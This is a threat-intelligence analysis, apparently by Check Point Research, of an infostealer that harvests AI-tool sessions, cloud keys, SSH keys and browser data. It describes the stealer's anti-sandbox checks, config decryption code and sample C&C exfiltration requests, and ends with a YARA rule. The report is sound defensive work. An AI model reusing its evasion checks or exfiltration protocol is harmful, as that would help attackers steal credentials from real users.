Day: October 23, 2026

Key Points

• Aokigahara, a newly observed infostealer, has been spotted in the wild. An earlier version may have been known as Kamidere or Stygian. The malware includes traditional data theft capabilities targeting browsers, VPN clients, cryptocurrency wallets, FTP/SFTP clients, password managers, and email applications, among other targets.
• AI applications and development tools are notable targets. The stealer collects authentication files, session data, and configuration files associated with Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, Gemini CLI, and other tools.
• Stolen AI credentials could offer opportunities for monetization. Usable credentials or session tokens could enable unauthorized access to paid AI services or the resale of compromised accounts.
• Its collection scope extends to developer and cloud environments. Targets include Git credential files, SSH private keys, and AWS, Azure, and Google Cloud credential and configuration files.

Introduction

Infostealers commonly target browser passwords, session cookies, and cryptocurrency wallets. This malware combines those established capabilities with dedicated collection routines for AI applications and development tools. Its targets include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, and GitHub Copilot, alongside cloud credentials and sensitive files from local development environments.

This expanded targeting reflects a broader shift in what attackers may consider valuable, not only personal accounts and financial data, but also access to AI services and the environments developers use to build software. Valid credentials or session tokens could expose private conversations and development data, enable unauthorized use of paid services, or potentially be sold to provide access to compromised AI accounts. While the malware’s collection routines support these possibilities, the analysis does not confirm how its operators monetize the stolen data.

Stealer Capabilities and Targeted Applications

The Aokigahara infostealer includes common information-stealing capabilities, such as screenshot capture, clipboard collection, browser credential and cookie theft, cryptocurrency wallet data collection, and file grabbing. It also includes a clipper handler that drops a separate component for clipboard manipulation.

The malware targets Chromium-based browsers and Mozilla Firefox, desktop cryptocurrency wallets and browser wallet extensions, messaging applications such as Discord and Telegram, and gaming platforms such as Steam, Roblox, and Minecraft. Additional targets include password managers, VPN clients, FTP/SFTP clients, email applications, and AI development tools. The table below summarizes each handler, its targets, and any limitations identified during the analysis.

The table below lists the malware’s main capabilities and their corresponding internal function names.

AI Data Theft

The more distinctive capability is the aisessions handler, which targets AI applications and development tools. These include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, and Gemini CLI, alongside AWS credentials and single sign-on (SSO) data. This extends the malware’s collection beyond traditional personal accounts to authentication files, session data, and configuration files associated with AI-assisted development and cloud environments.

The paths below identify the handler’s collection targets. Depending on the application, these files may contain tokens, credentials, session data, or settings; not every targeted file necessarily contains authentication secrets.

Attackers target these files because they may contain authentication tokens, API keys, cloud credentials, and session data. If valid and usable, these secrets can allow attackers to access AI services or cloud environments without entering a password, potentially exposing private conversations, source code, and other sensitive information. Compromised accounts may also be used to consume paid services, generate unauthorized charges, or support further attacks.

Anti-Analysis

The infostealer includes several known anti-analysis checks, most of which run only when their corresponding configuration flags are enabled. The results of these checks determine whether the malware continues execution. It also dynamically resolves Windows API functions using hashes and uses control-flow flattening in some parts of the code, particularly around the configuration decryption routine.

When the language-check flag is enabled, the malware checks the system’s keyboard layout and Windows UI language. If either matches a language ID represented in the bitmask 0x6C0400C8601, the malware stops execution. The excluded language settings are listed below.

The second configuration flag enables analysis-environment checks, including anti-debugging, virtual machine detection, and sandbox detection. The anti-debugging checks include:

• Inspection of debugger-related flags in the Process Environment Block (PEB).
• Queries for the process debug port and debug object.
• A debug-output string check.
• Inspection of hardware breakpoint registers (DR0–DR3).

The malware checks for indicators of virtualized or analysis environments, including:

• Hypervisor identifiers obtained through the CPUID instruction.
• Registry entries and running processes associated with virtual machine guest tools.
• Firmware and System Management BIOS (SMBIOS) fingerprints.
• A low number of running processes.
• Suspicious usernames and computer names.
• Display characteristics and available hardware resources.

The malware also checks usernames and computer names against strings commonly associated with test or analysis environments. The inspected strings include:

"sandbox", "malware", "virus", "sample", "test", "user", "admin", "CurrentUser", "John", "Peter", "JOHN", "John Doe", "WDAGUtilityAccount"

Additional checks monitor cursor movement and the number of running processes. These signals may help the malware identify automated analysis environments.

Configuration

The encrypted configuration blob is stored in the .stgcfg section. It begins with a four-byte magic value STGC, followed by the ciphertext length, a 16-byte initialization vector (IV) used for AES-CBC decryption, and the encrypted configuration data.

struct EncryptedConfigBlob
{
    DWORD magic;              // Four-byte configuration magic
    DWORD ciphertext_len;     // Encrypted configuration size in bytes
    BYTE  iv[0x10];            // 16-byte AES-CBC initialization vector
    BYTE  ciphertext[];       // Encrypted configuration data
};

The AES IV is stored in the .stgcfg section, while the malware derives the AES key from a specific seed using the algorithm below. The routine produces a 32-byte key used to decrypt the configuration with AES-256-CBC.

"""
Author: @Tera0017/Check Point Research
"""
def decrypt_aes_key(seed: int, length: int = 32) -> bytes:
    key = bytearray()

    for i in range(length):
        seed ^= (seed >> (8 * (i & 3))) & 0xFF

        seed = (seed * 0x01000193) & 0xFFFFFFFF

        seed ^= seed >> 16

        key.append(seed & 0xFF)

    return bytes(key)

The decrypted configuration contains the command-and-control (C&C) URL, the server’s X25519 public key, a build ID, and a gate token used for communication. It also includes a module bitmask that controls which capabilities are executed, flags for language and analysis-environment checks, TLS certificate pinning settings, and up to three fallback URLs.

struct DecryptedConfig
{
    char  base_url[0x100];
    BYTE  server_x25519_public_key[0x20];
    char  build_id[0x20];
    char  gate_token[0x40];
    DWORD module_mask;

    BYTE  unk_184[0x404];

    BYTE  language_check;
    BYTE  analysis_environment_check;
    BYTE  unk_58A;
    
    BYTE  tls_certificate_sha256[0x20];
    BYTE  tls_pin_enabled;

    BYTE  fallback_urls[3][0x100];
    BYTE  fallback_count;
};

The malware uses the module_mask bitmask in its configuration to control which built-in capabilities are executed. Each entry in the module-dispatch table contains a function pointer and an associated feature mask. During dispatch, the malware performs a bitwise AND between module_mask and the entry’s feature mask. A nonzero result selects the corresponding function for execution.

All module implementations remain embedded in the executable, even when disabled in the configuration.

Network

The malware retrieves its C&C connection settings from the decrypted configuration. It uses the /gate path as the base for three endpoints that handle session establishment, stolen data uploads, and session completion.

The stealer generates an X25519 key pair consisting of a public key and a private key. It then computes a shared secret using its private key and the server_x25519_public_key stored in the decrypted configuration. The malware derives the communication encryption key from this shared secret using SHA-256 and the fixed string aokigahara. The resulting 32-byte key is used for AES-GCM encryption.

/handshake

The initial handshake registers the upload session with the C&C server and sends the client’s 32-byte X25519 public key in the request body. The request headers include the build ID, gate token, session ID, hardware identifier, and key exchange algorithm.

POST /gate/handshake HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: cae87a25
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
X-Session: ca47b44161834cb70a224dbe3d92a383
X-HWID: 69B506A1
X-KEX: x25519
Content-Length: 32
Host: $SERVER

$CLIENT_X25519_PUBLIC_KEY

/chunk

For each executed collection module, the malware uploads an AES-GCM-encrypted ZIP archive to /gate/chunk. The X-Chunk header identifies the type of stolen data, using module labels such as sysinfo, browsers, firefox, or aisessions. The X-Chunk-Index header identifies the upload’s sequence number, which is also included in the request body.

The malware allocates an upload buffer with a size equal to the ZIP archive’s size plus 28 bytes. The buffer begins with a 12-byte AES-GCM nonce, formed by combining the four-byte little-endian chunk index with eight randomly generated bytes. The encrypted ZIP archive follows the nonce, and a 16-byte AES-GCM authentication tag is appended at the end.

POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: sysinfo
X-Chunk-Index: 0
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 3233
Host: $SERVER

\x00\x00\x00\x00$RANDOM_8_BYTES || $AES_GCM_CIPHERTEXT || $GCM_AUTH_TAG_16_BYTES

The next example uploads screenshot data with a chunk index of 1. The request body begins with \x01\x00\x00\x00.

POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: screenshot
X-Chunk-Index: 1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 10066
Host: $SERVER

\x01\x00\x00\x00$RANDOM_8_BYTES || $AES_GCM_CIPHERTEXT || $GCM_AUTH_TAG_16_BYTES

/complete

After uploading all ZIP archives, the malware sends a final HTTP POST request to /gate/complete on the C&C server. The request body contains the eight-byte message COMPLETE, indicating that the upload process has finished.

POST /gate/complete HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 8
Host: $SERVER

COMPLETE

The stealer appears to be under active development, with changes to its HTTP User-Agent string observed across versions. The latest analyzed samples use Microsoft-CryptoAPI/10.0 for communication with the server.

Conclusion

The malware retains the broad collection capabilities expected of an infostealer, but its dedicated targeting of AI applications and developer tools is particularly notable. By collecting authentication files, application storage, Git credentials, SSH-related files, and cloud configuration data, it reaches beyond traditional consumer accounts into AI-assisted development and cloud environments.

The targeting of AI sessions creates a potential route to monetization through unauthorized use of paid services or the resale of compromised access. It may also create opportunities for data extortion. Users can share sensitive business information, proprietary source code, and other confidential material with AI services. If stolen credentials or session tokens provide access to conversation histories or uploaded files, attackers could potentially threaten to disclose that information to demand payment.

The key finding is that AI application credentials and session data are part of this malware’s collection scope and should be treated as sensitive assets alongside browser sessions, cloud credentials, and developer keys.

Indicators of Compromise

Yara Rule

rule aokigahara
{
    meta:
        author = "@Tera0017/Check Point Research"
        description = "Aokigahara Stealer"
    strings:
        $str1 = "X-Chunk-Index: %u" ascii fullword
        $str2 = "X-Build-ID: %s" ascii fullword
        $str3 = "AKGRES" ascii fullword
        $str4 = "AISessions/" ascii
        $str5 = "\\\\.\\pipe\\akg_%lx_%lx" ascii fullword
        $str6 = "sysinfo\x00screenshot\x00clipboard"
        $str7 = "aokigahara" ascii fullword
        $str8 = "kamidere" ascii fullword
        $str9 = "/chunk" ascii fullword
        $str10 = "%s\\kmd_w_%d_%d.db" ascii fullword
        $str11 = ".ROBLOSECURITY" ascii fullword
        $code1 = {45 69 ED B1 79 37 9E 48 C1 EF 11 48 C1 EA 20 41 31 D6 41 31 C6 41 31 FD 45 89 77 04 45 89 6F 08}
        $code2 = {41 4B 47 52 45 53 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EF BE AD DE }
    condition:
        uint16(0) == 0x5A4D and 3 of them
}

Source: Check Point Research · 2026-10-23